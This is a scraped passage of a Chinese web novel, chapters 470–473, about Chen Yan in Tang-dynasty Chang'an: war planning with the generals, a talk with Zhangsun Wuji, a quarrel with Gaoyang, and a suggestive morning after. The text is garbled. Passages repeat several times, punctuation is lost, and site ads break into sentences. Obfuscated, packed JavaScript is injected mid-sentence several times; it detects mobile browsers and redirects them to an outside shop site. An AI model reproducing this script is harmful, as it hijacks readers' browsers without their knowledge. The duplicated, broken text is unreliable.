“你快别跟俺扯!尉迟恭不耐烦地挥挥手,“俺不跟你扯这个,俺说不过你。 “反正俺脸今天都拉下来了,想让俺竹篮打水绝对是不可能的! “陈小子,俺知道你法子多,你来说个章程出来! “. 第470章 戴罪立功? “章程?能有什么章程? “我的章程就是没有章程。 陈衍放下酒杯,抬手示意尉迟恭先坐下,“您别急,我们边喝边说,我保证诸位都有机会。 嗯? 尉迟恭有些诧异,看了眼秦琼和程咬金,思量片刻,出于对陈衍的信任,按下心中的疑惑,坐下了。 “好大侄儿,你方才说的都有机会是怎么回事?程咬金急不可耐地凑了过来。 陈衍哑然,“刚刚不还是兄弟吗?怎么我现在又变成好大侄儿了? “那咋了,你还真想当我兄弟?你回去问问你伯母答应不。 陈衍:“. “行吧,我不跟您扯这个。 小说的域名caixs?(请来才 小说 看最新章节 完整章节)他顿了顿,解释道:“你们都清楚,最早明年,最晚后年,战火是必然要被点燃的。 “按照陛下目前表现出来的意思,估摸着明年的可能性最大。 “吐谷浑是游牧国,一旦到了冬天,他们的牛羊缺少食物,饿死的饿死,冻死的冻死。而牛羊又是吐谷浑的主要食物来源,一到冬天,他们的威胁性大大降低,是我们进攻的最好时机。 程咬金和尉迟恭连连点头。 打这些依靠牛羊作为主要食物的小国,到了寒冷的冬天,确实是最好的进攻时机。 想当初,李靖打**厥的时候,可谓占尽了天时地利。 吐谷浑也是差不多的情况。 更何况,如果明年冬天打,那他们有大把的时间给将士们制作棉衣棉裤,准备粮草,制定战略,是最为合适的时机。 “怎么说呢,目前陛下要组建的重骑兵,到时候肯定是要出征的,但我近期整出了一些东西,今后打仗的方式绝对要变一下。所以到时候除了这支重骑兵,还会有其他军队一起. 陈衍说得很模糊,如果不了解内情的话,大概会认为他在说废话。 打仗当然不能只靠重骑兵,有其他的步兵或者骑兵那不是废话吗? 但程咬金他们却明白了陈衍的意思。 三人若有 所思地看了看程处默三人,没再开口,不知道在想些什么。 程处默他们作为从前无旌骑的教官,在陈衍展示**的时候,是去过的。 程咬金他们多多少少从这三人口中了解过一些,加上现在陈衍说他们都有机会,暗示除了这支新的重骑兵之外,其他还有机会。 他们怎么可能还不明白? “这个.你能说得上话不?尉迟恭迟疑问道。 陈衍摇摇头,“说不说得上话暂且不提,哪怕我能说得上话,也不会跟陛下推荐您。 “倘若您想在未来参与进去,那必须自己去争取,我能做的,只有提醒你们。 话音落下,几人脸色稍变,明白了陈衍的暗示。 只有程处默三人一脸懵逼。 不明白为啥能说得上话却不去推荐。 这**是陈衍和魏王钻研出来的,倘若陈衍跟陛下提一嘴,以尉迟恭他们的地位,应该不难参进去才对。 陈衍坦然道:“我实话跟你们说,渭南县折冲府,这支即将组建的重骑兵,坐镇的人选陛下差不多选定了,就是秦伯伯。我今日前来,就是陛下让我来问问秦伯伯的意思。 “毕竟以前秦伯伯的身体确实不太好 “什么话?你这叫什么话?秦琼一听,噌一下站起来,把自己的胸口拍得震天响。 “你瞧我这身子骨,哪里弱了? “不是我跟你吹,到了冬天,我光着膀子冲个凉水澡,还能跑步过去蹬死那些入侵我大唐边境的敌寇! “你回去告诉算了,等明儿个我自己去,你别管了,这折冲府我管定了! 尉迟恭:“. “呵呵. 他鄙夷地看了眼秦琼,懒得说啥了。 程咬金摸着下巴,“大侄子,你说我跟尉迟老黑,该怎么争取? “上赶着去,我估摸着不行,咱大唐不缺将领,我跟尉迟老黑又是大功臣,不好整啊。 “嗯陈衍思索着,“这事吧,说难也难,说容易也容 易。” “要我说,你们不妨换个方向来看待这个问题,既然上赶着自荐不行,那就戴罪立功呗!” “您刚刚不说了吗?您是功臣,一个戴罪立功的机会陛下总要给您吧?” “您又提不动笔,全身上下就打仗在行,在当前的局势下,还有什么比出去打仗更能抵罪?” 嘶~ 程咬金倒吸一口凉气,瞬间感觉自己悟了。 妙啊! 是啊,既然上赶着自荐不行,那为什么不让李世**动用他呢? 若是自己弄出点罪,能跑出去打仗过过瘾不说,哪怕立了功,还不用担心功高震主。 实在是妙啊! 尉迟恭同样明白了陈衍的意思,皱着眉头想了想,挠挠头,“但这里面有个问题啊,万一陛下不按套路出牌咋办?” 此话一出,程咬金和秦琼沉默了。 陈衍欲言又止,止言又欲,最后叹息道:“咱混了这么多年,就没一点人脉吗?” “不会提前给一些人送送礼,让他们到时候帮忙说说话吗?” “哦~”尉迟恭眼睛大亮,拍着陈衍的肩膀大乐,“行了啊,大侄子,还是你脑袋好使!” “就这么办!” 陈衍:“.” 我又特么变大侄子了。 接下来,程咬金他们又问了几个关于细节的问题,陈衍都一一耐心解答了。 大部分都了解清楚后,几人又高高兴兴地吃喝了。 “老陈,你丫的竟然还想平白无故比我大一辈,不能忍,今天必须弄你!”程处默说着拿出一个大碗,嘎嘎倒酒。 尉迟宝琳和秦怀道立即将目光投了过来,生怕陈衍又整什么幺蛾子来逃酒。 三人今天打定主意了,必须整这小子一次。 陈衍平淡地扫了他们一眼,缓缓开口:“如今我跟怀道都已经成婚成家,处默和宝琳还没什么着落呢。” “程大兄弟,尉迟二兄弟,这好像不行吧?” 程处默和尉迟宝琳浑身一个激灵,脑子里两个大字冒出来。 要遭! “.” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 易。 “要我说,你们不妨换个方向来看待这个问题,既然上赶着自荐不行,那就戴罪立功呗! “您刚刚不说了吗?您是功臣,一个戴罪立功的机会陛下总要给您吧? “您又提不动笔,全身上下就打仗在行,在当前的局势下,还有什么比出去打仗更能抵罪? 嘶~ 程咬金倒吸一口凉气,瞬间感觉自己悟了。 妙啊! 是啊,既然上赶着自荐不行,那为什么不让李世**动用他呢? 若是自己弄出点罪,能跑出去打仗过过瘾不说,哪怕立了功,还不用担心功高震主。 实在是妙啊! 尉迟恭同样明白了陈衍的意思,皱着眉头想了想,挠挠头,“但这里面有个问题啊,万一陛下不按套路出牌咋办? 此话一出,程咬金和秦琼沉默了。 陈衍欲言又止,止言又欲,最后叹息道:“咱混了这么多年,就没一点人脉吗? “不会提前给一些人送送礼,让他们到时候帮忙说说话吗? “哦~尉迟恭眼睛大亮,拍着陈衍的肩膀大乐,“行了啊,大侄子,还是你脑袋好使! “就这么办! 陈衍:“. 我又特么变大侄子了。 接下来,程咬金他们又问了几个关于细节的问题,陈衍都一一耐心解答了。 大部分都了解清楚后,几人又高高兴兴地吃喝了。 “老陈,你丫的竟然还想平白无故比我大一辈,不能忍,今天必须弄你! 尉迟宝琳和秦怀道立即将目光投了过来,生怕陈衍又整什么幺蛾子来逃酒。 三人今天打定主意了,必须整这小子一次。 陈衍平淡地扫了他们一眼,缓缓开口:“如今我跟怀道都已经成婚成家,处默和宝琳还没什么着落呢。 “程大兄弟,尉迟二兄弟,这好像不行吧? 程处默和尉迟宝琳浑身一个激灵,脑子里两个大字冒出来。 要遭! “. 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 易。” “要我说,你们不妨换个方向来看待这个问题,既然上赶着自荐不行,那就戴罪立功呗!” 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陈衍欲言又止,止言又欲,最后叹息道:“咱混了这么多年,就没一点人脉吗? “不会提前给一些人送送礼,让他们到时候帮忙说说话吗? “哦~尉迟恭眼睛大亮,拍着陈衍的肩膀大乐,“行了啊,大侄子,还是你脑袋好使! “就这么办! 陈衍:“. 我又特么变大侄子了。 接下来,程咬金他们又问了几个关于细节的问题,陈衍都一一耐心解答了。 大部分都了解清楚后,几人又高高兴兴地吃喝了。 “老陈,你丫的竟然还想平白无故比我大一辈,不能忍,今天必须弄你!程处默说着拿出一个大碗,嘎嘎倒酒。 尉迟宝琳和秦怀道立即将目光投了过来,生怕陈衍又整什么幺蛾子来逃酒。 三人今天打定主意了,必须整这小子一次。 陈衍平淡地扫了他们一眼,缓缓开口:“如今我跟怀道都已经成婚成家,处默和宝琳还没什么着落呢。 “程大兄弟,尉迟二兄弟,这好像不行吧? 程处默和尉迟宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826904|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琳浑身一个激灵,脑子里两个大字冒出来。 要遭! “. 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“不会提前给一些人送送礼让他们到时候帮忙说说话吗?” “哦~”尉迟恭眼睛大亮拍着陈衍的肩膀大乐“行了啊大侄子还是你脑袋好使!” “就这么办!” 陈衍:“.” 我又特么变大侄子了。 接下来程咬金他们又问了几个关于细节的问题陈衍都一一耐心解答了。 大部分都了解清楚后几人又高高兴兴地吃喝了。 “老陈你丫的竟然还想平白无故比我大一辈不能忍今天必须弄你!”程处默说着拿出一个大碗嘎嘎倒酒。 尉迟宝琳和秦怀道立即将目光投了过来生怕陈衍又整什么幺蛾子来逃酒。 三人今天打定主意了必须整这小子一次。 陈衍平淡地扫了他们一眼缓缓开口:“如今我跟怀道都已经成婚成家处默和宝琳还没什么着落呢。” “程大兄弟尉迟二兄弟这好像不行吧?” 程处默和尉迟宝琳浑身一个激灵脑子里两个大字冒出来。 要遭! “.” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 易。” “要我说你们不妨换个方向来看待这个问题既然上赶着自荐不行那就戴罪立功呗!” “您刚刚不说了吗?您是功臣一个戴罪立功的机会陛下总要给您吧?” “您又提不动笔全身上下就打仗在行在当前的局势下还有什么比出去打仗更能抵罪?” 嘶~ 程咬金倒吸一口凉气瞬间感觉自己悟了。 妙啊! 是啊既然上赶着自荐不行那为什么不让李世**动用他呢? 若是自己弄出点罪能跑出去打仗过过瘾不说哪怕立了功还不用担心功高震主。 实在是妙啊! 尉迟恭同样明白了陈衍的意思皱着眉头想了想挠挠头“但这里面有个问题啊万一陛下不按套路出牌咋办?” 此话一出程咬金和秦琼沉默了。 陈衍欲言又止止言又欲最后叹息道:“咱混了这么多年就没一点人脉吗?” “不会提前给一些人送送礼让他们到时候帮忙说说话吗?” “哦~”尉迟恭眼睛大亮 “就这么办!” 陈衍:“.” 我又特么变大侄子了。 接下来程咬金他们又问了几个关于细节的问题陈衍都一一耐心解答了。 大部分都了解清楚后几人又高高兴兴地吃喝了。 “老陈你丫的竟然还想平白无故比我大一辈不能忍今天必须弄你!”程处默说着拿出一个大碗嘎嘎倒酒。 尉迟宝琳和秦怀道立即将目光投了过来生怕陈衍又整什么幺蛾子来逃酒。 三人今天打定主意了必须整这小子一次。 陈衍平淡地扫了他们一眼缓缓开口:“如今我跟怀道都已经成婚成家处默和宝琳还没什么着落呢。” “程大兄弟尉迟二兄弟这好像不行吧?” 程处默和尉迟宝琳浑身一个激灵脑子里两个大字冒出来。 要遭! “.” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 第471章 遇长孙无忌 话带到,事情说完,眼看程处默和尉迟宝琳被程咬金他们拉着说哪家姑娘好,陈衍找了个机会就溜了出去。 秦琼和秦怀道倒是看到了,但两人都没阻止。 秦琼是清楚陈衍酒量不怎么好,而秦怀道是怕陈衍待会给自己整点事,不敢阻止。 就这样,陈衍全身而退。 本以为自己马上能走,今天不用喝个酩酊大醉了,没曾想,刚出来,遇到带人来上菜的尉迟二小姐。 也就是秦怀道的夫人。 “陈阿兄,你这是”尉迟兰看了眼屋门,又看了眼陈衍,面色稍显古怪,好似明白了什么。 以陈衍和尉迟家的关系,两人自然是认识的,再一个陈衍比同龄**些,所以尉迟兰称呼他为陈阿兄。 “啊哈哈哈.二妹啊。”陈衍有点尴尬,咋一出来就被人抓住了呢。 “陈阿兄这是要走?”尉迟兰脸上带着些许笑意,对此已经见怪不怪了。 “哎,这不家里有点急事嘛。” 陈衍一本正经道:“你也清楚,高阳性子怪,哎.我离开久点,她就闹。特别是孩子还小,我得回家带孩子啊。” “嗯~” 尉迟兰发出一声鼻音,似笑非笑,也不戳破他。 高阳性子怪又能怎样? 你还能惯着她不成? “那个.二妹啊,我就先走了,等今后去了渭南县,记得来家里玩哈!” 陈衍实在受不了尉迟兰的眼神,打了声招呼就准备离开了。 尉迟兰语气温和,“放心吧,陈阿兄,我不会跟你客气的。” “那就行,你进去吧,对了,多给他们带点酒。” 陈衍留下一句话,自顾自转身离开了。 望着他离开的背影,尉迟兰眼角一抽。 你自己不喝,还让我给他们多上点是吧? “.” “哎呀,又可以轻松几天啦。” 走出翼国公府,陈衍伸了个懒腰,哼着小曲走 着准备在外面逛逛。 要说大唐的长安城热闹程度那真不是开玩笑的。 以前陈衍没什么官职在身平时最喜欢做的事就是带着青儿在长安城闲逛感受着市井繁华。 而自从有了官职后他已经许久没好好在长安城逛过了。 上次跟高阳倒是玩了一天但光被高阳使唤着付钱提东西了。 在热闹的市街走了一圈陈衍感觉全身心都轻松了许多。 “凡尘烟火气最抚凡人心啊。” 他由衷感慨道。 “确实如此渭国公此言在理。” 突然旁边的茶楼上传来一道回应。 陈衍疑惑地抬起头望见开口的人之后诧异道:“齐国公?” 长孙无忌嘴角挂着淡淡的笑意“其实你也可以叫我一声舅舅不过这都随你意。” 说着他侧头示意了一下“看你现在有空怎么样?要不要上来喝杯茶?” “那就多谢齐国公了。”陈衍其实并不想跟长孙无忌接触太多只是人家话说得确实没错按理来说自己确实应该叫他一声舅舅。 人家长辈都开口邀请了他自然不好拒绝。 陈衍进入茶楼上到二楼找到长孙无忌。 “来坐下便好都是一家人不用跟我客气。”不待陈衍开口长孙无忌起身迎着他坐下了。 陈衍心里有些惊讶长孙无忌好像太热情了些。 不过事已至此他只好按捺住心里的疑惑想看看他想干什么。 长孙无忌一边给陈衍倒茶一边说:“说起来咱们已经许久坐下来说说话了从前几次见面都是匆匆而过没有太多机会。” “今天我在家觉得闷想出来走走喝喝茶却没想遇到了你。” “真是无心插柳柳成荫啊。” “您这话说得。”陈衍连连摆手“您若想见我 “我给您” “哎!”长孙无忌伸手制止,“我知道你平时忙,这些话就不用说了,等你有空了来一趟就行。” “不说这些了。” 他望着下面的人来人往,喃喃道:“你刚刚说的那句“凡尘烟火气,最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836423|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抚凡人心”,我活了大半辈子,直到现在半截身子入了土,才体会到这种感觉。” “这些日子我失去了很多,也明白了很多。” “年轻时有忍辱负重的日子,也有意气风发的光景,曾放纵过、得意过,也跌落过、挣扎过。” 他顿了顿,转回视线看向陈衍,“如今坐在这里,看这街上人来人往,倒觉得从前争的、抢的、算的,都像隔了一层雾似的,不如眼前这碗热茶实在。” 陈衍默默听着,没发表任何看法。 长孙无忌变成今天这样,说实在的,多少跟自己有点关系。 再者,听他话里这意思,像是看开不少。 其实对他来说,能放下,反倒是好事。 长孙无忌能力是拔尖的,但就是太过看重权力。 小说更新,记住域名caixs?(请来才 小说 看最新章节 完整章节) 原本的历史当中,他已经有了从龙之功,又有扶龙之功,结果偏偏不愿意放下手中的权力,最后落得个凄凉收场。 现在起码能安享晚年,等以后看着儿孙满堂,享受天伦之乐。 长孙无忌轻声道:“你跟我不同,比当初不,比现在的我都要优秀太多。” “如果我是你,我当初都不愿意去当一个县令,拥有那样的背景,随便找几个人说说话,进三省六部一点问题都没有。” “但你偏偏去做了,而且没有一点想要向上的心思。” “光凭这一点,你就胜过我太多了。” 陈衍干笑,“我只是觉得当县令没什么不好的,轻松省事,算得上一地实际掌管者。” “再者,您方才也说了,反正我有背景,又没人敢欺负我。” “既然如此,那干嘛要那么累呢?” 长孙无忌点点头,“你说得对,我现在跟你是一样的想法。每天活得不要太轻松,只需再熬几年,为儿子铺好路,然后就可以等着你来接替我的位置了。” “.啥?” “.” 第472章 瞧瞧,他还得谢谢咱呢 接替长孙无忌的位置? 陈衍挠着头想了想,纳闷了。 如果他没记错的话,长孙无忌从前在这方面一直被长孙皇后压制,明明可以做宰相,却只当个吏部尚书。 自己去当吏部尚书? 怎么看都不合适吧? 还不如户部呢。 更何况,现在都有多少人想让他接替位置了? 杜如晦不用说,魏征那边上次就表现过这个意思。 他到底要干啥啊? 长孙无忌淡笑着说:“其实这个我也不太确定,只是猜测有可能罢了。” “你安排进渭南县的那几个年轻人,陛下和我等上次关注过一二,一致认为他们未来大有可为,可见你在挖掘人才这方面同样有眼光,任吏部尚书说得过去。” 原来只是猜测啊. 陈衍放心了下来,而后笑着摆摆手,“那还是算了,我就觉得当个县令挺好的,未来即使回长安,我也一定找个轻松的活儿。” “吏部尚书太费心神了,**不来。” 长孙无忌语塞,因为他看得出来,陈衍说的是真心话,没有任何虚假在里面。 他有些难以理解,这可是吏部尚书啊。 一部之首,站在权力巅峰那一小撮人之一。 现在给你当你都不要? 长孙无忌沉默片刻,忽然说:“我算是明白了,越是求,就越求不到,越是远离,便越是接近!” “我是求而不得,而你是迫于无奈。” 陈衍:“.” 啥意思啊? 这是在说我未来一定要当个高官呗? 不当还不行? 长孙无忌接着说,“以前我很不理解皇后殿下为何一定要阻止陛下重用我,甚至一度觉得委屈,毕竟我那么多年跟着陛下出生入死,多少次将脑袋压上去赌。” “眼看着陛下登临皇位,作为最亲信的人,按理来说我也应该走向巅峰,却在最关键的时刻,被自己的亲妹妹态度强硬地阻 拦。” “那时我真的很不理解!” “不理解她为什么要压着我不理解为什么功劳没有我大的人官职却比我高。” “更不理解为什么陛下都很想任我为宰相明明说着不插手朝政的她却一而再、再而三地阻拦。” 说到这里长孙无忌长叹一声“直到现在我才终于明白皇后殿下的苦心。” “作为一起长大的亲兄妹她无疑是了解我的而且眼光看得足够远拥有大智慧啊。” “我本身属于外戚而且功劳太大能力不缺野心不小家族势力同样庞大。最重要的是 “这无论是对我亦或是对长孙家都太过危险了。” 陈衍一言不发地听完了他的话。 到现在他差不多明白了长孙无忌叫他过来的用意了。 嗯.这样说不对应该说长孙无忌没有任何用意。 他就是想找个人倾诉一下仅此而已。 沉默了一会儿陈衍认真道:“方才听你说了那么多我也有一句话不知道你愿不愿意听?” “当然!”长孙无忌毫不犹豫道:“你有什么但说无妨我此前便告诉过你都是一家人没什么不好说的。” 陈衍点点头“听你的意思似乎已经打算等着退位以至于都用上了‘熬’这个词。” “我想说的是你大可不必如此该怎么样就怎么样。况且以你的能力不该在这个年纪就退下来陛下需要你大唐也需要你。” “我相信皇后殿下看你如此心里一样是不好受的。” “.我又没有消沉下去她难受什么?”长孙无忌反问。 “你不也整天想着怎么轻松点吗?我现在跟你一样你怎么反倒劝上我了?” 陈衍:“.” 特么有点道理哈! 他顿了顿组织一下语言“我的意思是说你平时做好自己的分内事之后其余的还可以跟以前一样该提意见提意见该支持的支 持,该反对的反对啊! “而不是渐渐在朝堂上没了存在感,这样是很轻松,但俗话说得好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836424|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,能力越大,责任越大嘛。 “反正你已经想通了,意识到了问题所在,那你还怕什么? 听到这些话,长孙无忌沉默了。 近一年以来,他在朝堂上确实很没存在感。 以往大家有什么问题,很多时候还会问自己一句,包括李世民也是如此。 但现在大家几乎下意识把他给忽略了。 每天上朝就跟完成任务一样,完了就回家悠闲地享受。 长孙无忌认真看了看陈衍,饶有兴趣地问:“如果我所料不错,当初应该就是你跟皇后殿下说了点什么,导致她连压都不想压我,更是没有任何委婉之意,把我叫过去,直接说让我以后别再想继续往上了,禁止我接触任何一位皇子,否则后果自负。 “我明白,当时她说那种话,定然是有陛下的默认。 “所以,从那以后,我在朝堂上就沉寂了下来,只做好自己分内之事,其他一概不管。 “现在你又让我去管,你到底是怎么想的? 陈衍闻言脸色一变,连忙解释道:“你可别误会,我可没想针对你什么,那日是皇后殿下追问,我实在是没办法才说了两句。 “我只是告诉皇后殿下,你再继续这样贪念权势可能导致的后果,可没说你坏话哈。 长孙无忌不置可否。 不管陈衍怎么跟长孙皇后说的,反正他是被好好警告了一番。 不过这都不重要了。 从陈衍刚刚的话里,他听得出来,陈衍没有撒谎。 况且,陈衍跟自己无冤无仇的,如果论起来,还有几分情分,他确实没理由针对自己。 长孙无忌自嘲一笑,“确实是我自己的问题,怪不得任何人,皇后殿下.终归是为了我好。 “对了.他想起一件事,颇为郑重道:“关于丽质的事,我还没当面谢谢你呢。要不然丽质真嫁给冲儿,对谁都不是一件好事。 “哈哈. 陈衍尴尬一笑。 瞧瞧。 他还得谢谢咱呢。 “. 第473章 陈衍:不,你来得正是时候 日出又日落,陈衍又在长安逗留了五天。 让他意外的是,世家竟然没有在这期间找上来。 陈衍有些不解,按理来说,自己的条件看似苛刻,实则对世家来说并非无法接受,为什么这段时间没人找过来呢? 又等到晚上,他懒得等了。 之所以留在长安城,唯一的目的就是等世家的人上门。 既然人家不来,那他也没必要继续留在长安了。 晚上,睡前的时候,陈衍洗漱完,对在洗脸的李丽质说,“叫人收拾一下,咱们明天就准备回渭南县了。” “啊?”李丽质微怔,“这么着急吗?今天已经很晚了。” “早些回去吧。”陈衍摇摇头,“你四皇兄没跟我们一起回长安,魏王妃根本管不住他,我怕我走之后,你四皇兄放飞自我了。” “他钻研的东西挺危险的,得回去看着他点。” 另一边,刚躺下的高阳听见这话,阴阳怪气道:“就你?还看着他?” “你俩别一起升天就不错了,你还看着他。忘了上次你俩怎么受伤的了?” “要我说,你们俩分开还安全些,在一起指不定整出什么稀奇古怪的东西把自己弄伤。” 李丽质无言,她心里其实也这么觉得。 陈衍怒道:“那天是意外,意外你懂不懂?” “再说了,为了时代的进步,为了大唐的强盛,我受点伤能怎么了?” “我若不跟魏王受点伤,那**哪里来?怎么应对未来一波又一波的战争?怎么保护自己的国家?” “什么叫我跟魏王在一起更危险,那你怎么不说我跟魏王在一起钻研出来的东西拥有多大的意义?” “你能,你能!”高阳瞬间坐起,狠狠瞪着他,“全大唐那么多人,就你能是吧?” “我都不好意思说你,亏上次魏王做出热气球的时候,你还舔着个脸说他不注重安全,还上去揍他。” “要我说,你就应该先给自己一个大耳刮子,抽死你个活着浪费土地,**污染 土地的瘪犊子玩意儿!” 陈衍心里一惊。 坏了真让高阳学会骂人了。 李丽质眼看两人要吵起来张了张嘴想劝劝两人。 然而还是晚了一步陈衍已经开腔了。 “哎呦哎呦老头子坐摇篮你还装上了?” “整天拿你那小本本记了一年多小爷的话学了仨瓜俩枣的你就敢蹬鼻子上脸跑我面前秀存在感来了是吧?” “说话五大三粗就算了偏偏还脑袋大鼻孔大板牙大 “瞅你那样儿上街顶个**葬父的牌子都没人要你可别耽误我闺女她跟着你都受委屈。” 李丽质:“.” “唉~” 如果她所料不错的话今晚又有的热闹了。 果不其然高阳已经红温了。 那一字一句全往她心窝子里插啊。 上街顶个**葬父的牌子都没人要她? 她有那么差劲吗? “陈衍!!!” “你个混蛋说什么呢?你有种再说一次!!!” “老娘今天跟你没完!” “没完没完没完!”陈衍毫不客气道:“你除了没完就不会点别的了吗?我还以为你学了多少呢敢跟我叭叭结果就那么一句啊?” “肚脐眼放屁你是咋响的?!” “长那么大个脑瓜子你能不能用上一点?平时寻思寻思你我之间的差距?蝙蝠身上插鸡毛——你算什么鸟?!” “你你你你!”高阳气得胸口剧烈起伏只感觉身前的衣服都开始湿润了脑子一时间太过混乱连语言都混乱了。 “你什么你?”陈衍继续怼“我把你当个人看已经够抬举你了你还想咋地?” “当初如果不是你父皇一道圣旨下来咱俩人狗殊途的压根没有一点可能还一天天嗷嗷” 陈衍伸着头夹着嗓子说:“改嫁~改嫁~ 他鄙夷道:“你这种自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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只能委屈小岁安吃一顿羊奶了 第二天一早,陈衍神清气爽地起床。 昨天晚上他不光吵赢了,还打赢了。 嗯.起码赢了高阳。 至于李丽质.她看似柔柔弱弱的,好似一阵风都能吹倒,但无论多猛烈的攻势都能抗下来。 陈衍觉得自己应该上点手段了,之前停下的药得重新捡起来。 他感叹地打开门,刚准备出去。 没曾想,门才打开,就发现兕子一脸好奇地蹲在门口。 陈衍吓了一跳,“兕子,你干什么呢?” 兕子眨巴着大眼睛,糯糯道:“我听说你们昨天晚上打起来了,我来看看谁赢了。” 陈衍疑惑,“这怎么看?” 兕子站起来,插着小腰说:“那当然是看谁能走出来啊!现在看来还是阿兄技高一筹,看你神清气爽的样子,就知道昨天晚上谁打赢了。” 陈衍:“.” 如果不是了解兕子根本不懂男女之事,他都以为这小家伙在开车了。 “你啊!” 他用力揉了把小家伙的头,把侍女早上给她扎好的头发弄乱,“今天我们要回渭南县了,走吧,跟阿兄吃早餐去。” “今天回去呀!”兕子眼睛大亮。 这几天她都活得很小心,生怕陈衍真给自己送回宫。 现在一听要回渭南县,她终于是彻底放心了下来。 “好耶!” 兕子笑嘻嘻地牵着陈衍的手,也不在意被弄乱的头发了。 一大一小两人走了一段距离,兕子突然想起一件事,停下脚步,回头疑惑道:“对了,丽质阿姐呢?” “平时她不是最先起床的吗?怎么今天不见了人影?” “你丽质阿姐啊.”陈衍干咳一声,“她这些日子比较劳累,我让她今天多休息休息,先别管她了,我们走吧。” “哦~”兕子一听,也没多想,转头就把这件事忘了。 在她看来,只有高阳会被陈衍教训到起不来,李丽质基本不会这样 。 “.” 在陈衍吃完早餐,吩咐下人收拾东西回渭南县时,时间已经快过辰时了。 李丽质记得昨天晚上陈衍说今天要回去,所以忍着酸痛坐起身子,想去准备要带走的东西。 这一动作,也吵醒了旁边熟睡的高阳。 她微微睁开眼,嗓音有些沙哑,“姐姐,你起这么早干嘛?” 李丽质抱怨道:“那还不是夫君说要回去了吗?时辰不早了,我得赶紧准备准备呀,要不然今天别想回去了。” 他们来回一次不是说走就能走的,要带的东西以及人都不少。 高阳不满地嘟囔,“那为什么要你来安排?陈衍又没死,他自己要急着回去,那就让他自己准备!” “再说了,昨天是他自己要折腾你的,他还能怪你不成?” 李丽质想起昨天晚上发生的事,低头看了眼自己身上残留的痕迹,有的是陈衍留下的,有的是高阳留下的 原始的欲望之火被点燃之后,昨天她们干了不少荒唐事。 当时很刺激和满足,现在想起来尴尬得想死。 李丽质抱着双腿,头埋进被子里,脸红得能滴出血来! 过了一会儿,她心里暗叹一声,扯开话题道:“你也赶紧起吧,小岁安该饿了。” “饿了我也没办法,反正我是没有了!”高阳头也不抬,很是无所谓道:“反正这事怪不到我头上,她爹和她二娘嘴馋,只能委屈小岁安先吃一顿羊奶了。” 小说全网首发无弹窗免费阅读caixs.com**(请来才 小说 看最新章节 完整章节) 李丽质那股刚下去的羞耻心再度涌上来,而且比方才强烈太多,浑身哪哪都不自在,就感觉到处都有蚂蚁在爬似的,恨不得当场刨个坑把自己埋了。 “我我先起了,你休息一会儿吧.” 李丽质实在受不了,暂时不想面对高阳,胡乱穿戴好衣裙,鞋都没穿,跳下床就跑了。 坐在自己的梳妆台前,李丽质刚松了口气。 这时,一道推门声响起,将她吓了一跳。 她连忙转头看去,发现是陈衍,眼里顿时染上一抹幽怨。 “哟,醒了呀。陈衍笑着说:“其实你可以多睡一会儿,回渭南县的事我安排人在准备了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836426|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李丽质不说话,就一个劲盯着他。 “你看着**嘛?难道我是今天又变英俊了?陈衍摸着下巴说。 “呸!不要脸。李丽质终是没忍住,低声啐了句。 陈衍大乐,“哎呀,都老夫老妻了,有什么可害羞的。 “对了,我还给你们准备了礼物呢,你先等等,我给你带过来。 说着,他退出去,不一会儿,带着一个承盘进来,上面摆放着一套白色罗纱裙,同色系纱披。 “来,试试,我特意吩咐人给你和高阳做了几套,这套是给你的。陈衍把衣裙递给她。 